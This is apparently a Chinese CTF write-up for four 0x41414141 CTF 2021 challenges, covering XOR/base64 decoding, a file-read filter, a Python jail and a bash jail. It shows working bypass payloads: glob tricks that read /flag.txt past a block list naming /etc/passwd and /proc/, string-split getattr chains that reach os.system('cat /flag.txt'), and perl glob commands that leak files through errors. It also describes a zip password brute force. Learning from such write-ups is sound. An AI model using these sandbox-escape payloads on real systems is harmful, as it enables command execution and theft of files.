0x41414141 CTF 2021
Web
0x414141
根据题目描述定向到 GitHub Repo 可以获取到一个 .pyc 文件。将其使用 反编译可得如下代码。
import base64
secret = 'https://google.com'
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=',
b'MTI=', b'NDU=', b'MTE2', b'MTIw']
cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]
将 cipher2 按照相同的方法解密出来。
text2 = [chr(int(base64.b64decode(i).decode()) ^ 65) for i in cipher2]
print("".join(text2))
得到了一个网址 https://archive.is/oMl59。定向到这个网址可以发现如下信息。
下载文件得到 smashing.pdf,使用 010 editor 打开文件后可以发现很多 0x41 的字节,猜测是文件被按位异或过。尝试将其复原可以得到原本的 pdf 文件。binwalk 一下 pdf 文件可以发现其中包含一个含有 flag.txt 的压缩文件。
binwalk -e
将压缩包分离出来后发现解压需要密码,因为没有发现其他信息,故尝试一波爆破。使用 GitHub 上的一万常用密码密码表可以爆破得出压缩包密码为 passwd。
解压压缩包可得 flag。
flag{1t_b33n_A_l0ng_w@y8742}
使用 CyberChef 分离文件
看了大佬的 WriteUp 发现使用 CyberChef 的 Extract Files 功能也可以分离出文件。
file_reader
附件给出的代码如下。
import glob
blocked = ["/etc/passwd", "/flag.txt", "/proc/"]
def read_file(file_path):
for i in blocked:
if i in file_path:
return "you aren't allowed to read that file"
try:
path = glob.glob(file_path)[0]
except:
return "file doesn't exist"
return open(path, "r").read()
user_input = input("> ")
print(read_file(user_input))
稍加分析可知题意是要我们绕过过滤读到 flag.txt。使用 /flag.???
即可成功绕过读到 flag。
flag{oof_1t_g0t_expanded_93929}
pyjail
附件给出的代码如下。
#!/usr/bin/env python3
import re
from sys import modules, version
banned = "import|chr|os|sys|system|builtin|exec|eval|subprocess|pty|popen|read|get_data"
search_func = lambda word: re.compile(r"\b({0})\b".format(word), flags=re.IGNORECASE).search
modules.clear()
del modules
def main():
print(f"{version}\n")
print("What would you like to say?")
for _ in range(2):
text = input('>>> ').lower()
check = search_func(banned)(''.join(text.split("__")))
if check:
print(f"Nope, we ain't letting you use {check.group(0)}!")
break
if re.match("^(_?[A-Za-z0-9])*[A-Za-z](_?[A-Za-z0-9])*$", text):
print("You aren't getting through that easily, come on.")
break
else:
exec(text, {'globals': globals(), '__builtins__': {}}, {'print':print})
if __name__ == "__main__":
main()
可以得出除了过滤了一些常用的 token 之外用了一个很奇怪的正则,基本上匹配的是下划线开头的内容,但是要以下划线开头,所以 print((globals['__builtins__']))
还是没有问题。因为有 globals()
,所以尝试将其打印出来,发现了 '__builtins__': <module 'builtins' (built-in)>
。也就是他表面上把 builtins 禁用了,实际上还是可以访问到。
既然最后要读到 /flag
,那肯定是需要 system("cat /flag")
的操作,所以需要引入 os 模块。这里的 __import__
被禁用了,因此可以尝试采用 getattr()
来构造。先尝试导出一下 __import__
。
可以看到使用 getattr 可以成功地导出。接下来一步步导出到 system 函数。
(globals['__builtins__']).getattr((globals['__builtins__']),('__impor' + 't__'))('o' + 's') #导出到 __import__.os
(globals['__builtins__']).getattr(((globals['__builtins__']).getattr((globals['__builtins__']),('__impor' + 't__'))('o' + 's')),('syste' + 'm')) #导出到函数 system
接下来就能执行 shell 了,构造出如下 payload 即可读到 flag。
(globals['__builtins__']).getattr(((globals['__builtins__']).getattr((globals['__builtins__']),('__impor' + 't__'))('o' + 's')),('syste' + 'm'))('cat /flag.txt')
flag{l3t's_try_sc0p1ng_th1s_0ne_2390098}
在大佬的文章里看到了一种很妙的解法,是通过全局变量覆盖来实现的。
globals['banned'] = 'a'
globals['__builtins__'].__import__('os').system('cat /f*')
shjail
附件给出的代码如下。
#!/bin/bash
RED='\e[0;31m'
END='\e[0m'
GREEN='\e[0;32m'
while :
do
echo "What would you like to say?"
read USER_INP
if [[ "$USER_INP" =~ ['&''$''`''>''<''/''*''?'txcsbqi] ]]; then
echo -e "${RED}Hmmmm, what are you trying to do?${END}"
else
OUTPUT=$($USER_INP) &>/dev/null
echo -e "${GREEN}The command has been executed. Let's go again!${END}"
fi
done
可以发现禁用的单字符有 `&$>\</*?txcsbqi
,剩余的单字符有 adefghjklmnopruvwyz
。同时只有在指令报错的时候才能有输出。因此要想办法用报错的程序来带出文件。
看了 WriteUp 之后知道这里可以使用 perl 来带出文件,同时因为 txt 中的 t 字符被禁用了,因此需要使用 bash 的正则表达式。可以尝试使用 open 指令来确定文件是否存在从而确定 flag 的位置。因为这题禁用了 /,所以 flag 应该不在根目录。然而在 bash 的正则中 [a-z]{3}
表示三个连续的前一个 RE 字符,而并不是一般正则的匹配三次。因此需要尝试 open flag.[a-z][a-z][a-z]
来匹配 flag.txt,可以发现指令成功执行且没有报错,对比其他的执行可知此时 flag 位于当前目录下且可能名为 flag.txt。因此最后的 paylaod 可以是 perl flag.[a-z][a-z][a-z]
,当然,写作 perl [a-z][a-z][a-z][a-z].[a-z][a-z][a-z]
也是相同的效果。最后使用这个指令可以在程序的报错中看到 flag。
flag{w3ll_th1s_f1l3_sh0uldnt_h4v3_fl4g_1n_2738372131}